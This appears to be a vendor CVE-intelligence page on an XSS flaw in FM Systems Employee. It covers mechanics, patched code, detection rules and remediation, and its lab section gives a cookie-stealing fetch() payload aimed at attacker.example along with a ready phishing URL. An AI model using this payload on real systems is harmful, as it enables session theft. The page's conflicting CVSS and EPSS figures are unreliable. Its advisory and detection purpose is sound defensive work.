☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-80
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-34497

CVE-2026-34497 Cross-Site Scripting in Neutralization
📅 PUBLISHED: 2026-07-31 18:17 UTC 🔄 UPDATED: 2026-09-26 06:29 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-34497 is an improper neutralization of script-related HTML tags in Johnson Controls FM Systems Employee, a web-based employee management module. It allows an attacker to inject basic Cross-Site Scripting (XSS) payloads because the application does not safely sanitize or encode script-bearing HTML before rendering it in a page. The issue affects all versions prior to 2025.3.1.

A successful attack can be delivered through crafted employee search input, profile fields, or any parameter reflected into the employee management UI. The injected script executes in the context of the victim’s authenticated browser session, potentially exposing session tokens, employee records, administrative controls, or enabling unauthorized actions.

At the time of analysis, the NVD assigned a placeholder CVSS score of 0.0, and no public Nuclei template or Exploit-DB entry is available. EPSS probability is also 0.0%, indicating no known active mass exploitation in the wild. However, XSS remains a high-value vector in internal employee-facing portals because authenticated user sessions and administrative privileges are often present.

The immediate mitigation is to upgrade FM Systems Employee to version 2025.3.1 or later and apply defense-in-depth controls including context-aware output encoding, Content Security Policy, cookie hardening, and web application firewall rules.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The official CVSS information for CVE-2026-34497 is incomplete.

Field Value
NVD Base Score 0.0
CVSS Vector UNKNOWN
Exploitability Prediction Scoring System (EPSS) 0.0%
CWE CWE-80
Availability of Exploit None identified

Because no vector is published, the below vector should be treated as a conservative approximation for a typical reflected or stored XSS in an employee web portal:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

This approximate vector represents an unauthenticated attacker who must trick a user into clicking a crafted link. The resulting impact is limited on confidentiality and integrity but can be expanded if the victim has administrative privileges in the FM Systems Employee application.

Threat Assessment

  • Access Complexity: Low
  • Privileges Required: None for reflected delivery, but some features may require an authenticated session.
  • User Interaction: Required
  • Technical Impact: Session theft, account impersonation, forced actions, data exfiltration, and administrative abuse.
  • Practical Threat Level: Medium to High depending on the privilege level of the target user.

Deep Dive & Mechanics

CWE-80 specifically describes the failure to neutralize script-related HTML tags in a web page. Unlike general XSS vulnerabilities that require escaping all user-controlled data in multiple HTML contexts, this weakness occurs when the application tries to block or filter only <script> tags but fails to account for other injection vectors such as:

  • Event handler attributes: onerror, onload, onmouseover
  • javascript: URLs
  • Encoded variants of <script> and event handlers
  • Dynamic DOM manipulation after page render

The vulnerable FM Systems Employee interface likely receives an employee name, search term, or record identifier and reflects that input into HTML output without applying output encoding or HTML sanitization.

A typical attack flow is as follows:

  1. An attacker locates a URL parameter or form field that is reflected in the HTML document.
  2. The attacker crafts an XSS payload containing script tags or event handler attributes.
  3. The victim opens a malicious link or visits a page containing a stored XSS payload.
  4. The browser interprets the injected content as active script.
  5. The script steals the victim session cookie, sends data to an external endpoint, or manipulates the employee management UI.

The core issue is not the absence of sanitization entirely, but rather failed neutralization of script-related HTML tags. The application may strip out full <script> blocks while still allowing one-off event handlers, which is a classic “basic XSS” pattern.

Attack Prerequisites

  • The user can access the FM Systems Employee web interface.
  • The application does not have a strong Content Security Policy.
  • The application does not set HttpOnly, Secure, and SameSite attributes on session cookies.
  • The target parameter is reflected without output encoding in at least one HTML context.

Potential Impact

  • Session hijacking through document.cookie
  • Credential theft through attacker-controlled phishing overlays
  • Silent submission of employee management actions
  • Access to sensitive employee records
  • Defacement of the employee portal for all visiting users

Vulnerable vs. Patched Code

The following examples are conceptual reconstructions of vulnerable and patched code patterns. Actual vendor source code is not publicly available.

Vulnerable Pattern

The application directly concatenates user-controlled input into HTML output without encoding.

String employeeName = request.getParameter("employeeName");
out.println("<div class=employee>Welcome, " + employeeName + "!</div>");

An attacker can send employeeName=<script>alert(document.cookie)</script> and the resulting HTML becomes:

<div class=employee>Welcome, <script>alert(document.cookie)</script>!</div>

The browser treats the injected string as active script, and the script executes in the victim session.

Patched Pattern

A safe implementation applies context-aware HTML encoding before rendering user-controlled data.

String employeeName = request.getParameter("employeeName");
String safeName = Encode.forHtml(employeeName);
out.println("<div class=employee>Welcome, " + safeName + "!</div>");

With this fix, the attacker input is rendered as harmless text:

<div class=employee>Welcome, &lt;script&gt;alert(document.cookie)&lt;/script&gt;!</div>

Additional Safe Patterns

  • Use an autoescaping template engine such as Thymeleaf with th:text.
  • Use JSP <c:out> or equivalent context-aware escaping.
  • Use an HTML sanitization library only when rich text is genuinely allowed.
  • Never rely on a blocklist that rejects only <script> tags.

Exploitation & Lab Setup

No public exploit code is available for CVE-2026-34497. The following laboratory setup demonstrates the vulnerability using a deliberately vulnerable local web application.

Red Team Operation

Lab Environment

  • Target: Local instance of FM Systems Employee running a version before 2025.3.1
  • Entry point: GET /FMEmployee/search
  • Vulnerable parameter: employeeName
  • Attacker host: attacker.example

Manual Proof of Concept

Send a simple reflection test:

curl --insecure --get "https://fm-systems.local/FMEmployee/search" --data-urlencode "employeeName=<script>alert(document.cookie)</script>"

If the response body contains the raw script tag inside HTML, the endpoint is vulnerable.

Session Exfiltration Payload

A more realistic payload sends the victim session cookie to an attacker-controlled endpoint:

<script>
fetch("https://attacker.example/exfil?cookie=" + document.cookie)
</script>

The URL-encoded request can be weaponized as a phishing link:

/FMEmployee/search?employeeName=%3Cscript%3Efetch%28%22https%3A%2F%2Fattacker.example%2Fexfil%3Fcookie%3D%22%2Bdocument.cookie%29%3C%2Fscript%3E

Stored XSS Simulation

If the vulnerable field is a profile or employee record description, the attacker can place the payload in a persisted field. Every administrator or employee who views the record will trigger the payload.

Blue Team Operation

Simulated Attack Detection

Use an employee management staging instance and send a controlled payload from a sandbox browser. Monitor web server access logs and application logs for anomalous patterns.

Log Inspection Example

grep -Ei "%3Cscript%3E|<script>|onerror=|javascript:" /var/log/fm-systems/access.log

Response Verification

Check whether the payload appears unencoded in the HTTP response body:

curl -s "http://fm-systems.local/FMEmployee/search?employeeName=<script>alert(1)</script>" | grep -i "<script>"

If the raw script tag is returned, the endpoint is vulnerable. After upgrade to 2025.3.1, the response should contain HTML-escaped entities such as &lt;script&gt;.

Indicators of Compromise (IOCs)

Network IOCs

  • HTTP requests containing <script> or </script> in query parameters.
  • URL-encoded variants such as %3Cscript%3E and %3C/script%3E.
  • Requests containing event handler attributes like onerror=, onload=, onmouseover=.
  • javascript: URI schemes in URL parameters.
  • Outbound connections to external domains shortly after a page containing an XSS payload is rendered.
  • HTTP Referer headers pointing to FM Systems Employee search pages with embedded script text.

Host and Application IOCs

  • Application logs showing user-controlled input reflected unchanged in response bodies.
  • Browser logs or security agent logs showing execution of untrusted JavaScript in the FM Systems Employee origin.
  • Session cookie values observed being transmitted to external domains.
  • Unexpected administrative actions in the employee management system following a successful XSS payload.
  • Suspicious changes to employee profile fields containing HTML or JavaScript code.

Fictional Example IOC Event

2026-05-01T13:45:12Z attacker.example GET /exfil?cookie=JSESSIONID=74F1A2B3C4D5E6
2026-05-01T13:45:10Z 192.0.2.50 GET /FMEmployee/search?employeeName=%3Cscript%3Efetch...

Detection Engineering

The following detection rules can identify attempts to exploit CVE-2026-34497. No official Nuclei template has been published, so defenders should rely on network and log-based detections.

YARA Rule

Use this rule when inspecting raw HTTP responses, PCAP exports, or web application logs for basic XSS indicators.

rule CVE_2026_34497_FM_Systems_XSS
{
    meta:
        author = "Valters IT"
        description = "Detects common XSS payload patterns associated with CVE-2026-34497"
        cve = "2026-34497"
        cwe = "CWE-80"
        reference = "NVD CVE-2026-34497"
        date = "2026-01-01"

    strings:
        $a = "<script>"
        $b = "</script>"
        $c = "onerror="
        $d = "onload="
        $e = "javascript:"
        $f = "document.cookie"
        $g = "%3Cscript%3E"
        $h = "alert("

    condition:
        any of them
}

Sigma Rule

This Sigma rule detects XSS payloads in web server access logs. It is intentionally broad to catch both raw and URL-encoded variants.

title: CVE-2026-34497 FM Systems Employee Reflected XSS
id: b2c1a5f0-4a2b-4d4e-9e1a-8c861f3b7d44
status: test
description: Detects HTTP requests containing XSS payload markers targeting FM Systems Employee
logsource:
  category: webserver
  definition: Web server access logs from the FM Systems Employee portal
detection:
  selection_uri:
    cs-uri-query|contains:
      - "<script>"
      - "%3Cscript%3E"
      - "onerror="
      - "onload="
      - "javascript:"
      - "alert("
  selection_method:
    cs-method:
      - GET
      - POST
  condition: selection_uri and selection_method
falsepositives:
  - Vulnerability scanners
  - Security research activities
  - Rare legitimate use of HTML in search fields
level: high

Suricata Rule

This Suricata signature inspects HTTP URI fields for script injection attempts.

alert http any any -> any any (msg:"CVE-2026-34497 FM Systems Employee XSS Attempt"; flow:established,to_server; content:"<script>"; nocase; http_uri; content:"onerror="; nocase; http_uri; sid:2026034497; rev:1; reference:cve,2026-34497; classtype:web-application-attack;)

Detection Notes

  • The YARA rule can be used on alert packets, captured HTTP traffic, or web server log exports.
  • The Sigma rule should be deployed in SIEM pipelines that ingest web server access logs.
  • The Suricata rule should be placed on network security monitoring sensors.
  • Tune the rules to exclude trusted vulnerability scanners.
  • Monitor for both raw <script> and URL-encoded %3Cscript%3E because browsers and proxies may normalize the payload.

Remediation & Mitigation

Immediate Remediation

  • Upgrade FM Systems Employee to version 2025.3.1 or later.
  • Verify that the upgrade prevents user-controlled HTML from being rendered as active content.
  • Place a temporary WAF rule to block script and onerror payloads in the employeeName parameter.
  • Review application logs for prior exploitation attempts.

Application Hardening

  • Apply context-aware output encoding for all user-controlled data.
  • Use an autoescaping server-side template engine.
  • Disable inline event handlers in application front-end templates.
  • Implement a Content Security Policy that blocks inline scripts unless a cryptographic nonce is present.

Session Security

  • Set the HttpOnly attribute on all session cookies.
  • Set the Secure attribute on all session cookies.
  • Set SameSite=Lax or SameSite=Strict where business workflow permits.
  • Rotate session tokens after successful authentication and during privileged actions.

Process and Monitoring

  • Include XSS payload variants in the application security test suite.
  • Run SAST and DAST before every release.
  • Monitor WAF and SIEM alerts for XSS attempts against FM Systems Employee endpoints.
  • Train employees against opening suspicious links, especially if the links appear to originate from an internal employee portal.

Vendor Communication

  • Confirm with Johnson Controls that version 2025.3.1 fully resolves CVE-2026-34497.
  • Request a formal CVE vector and patch advisory from the vendor to replace the placeholder CVSS 0.0 score.
  • Subscribe to vendor security notifications for future FM Systems releases.

Prepared by Valters IT — DevSecOps & Cyber Threat Intelligence.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-34497/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.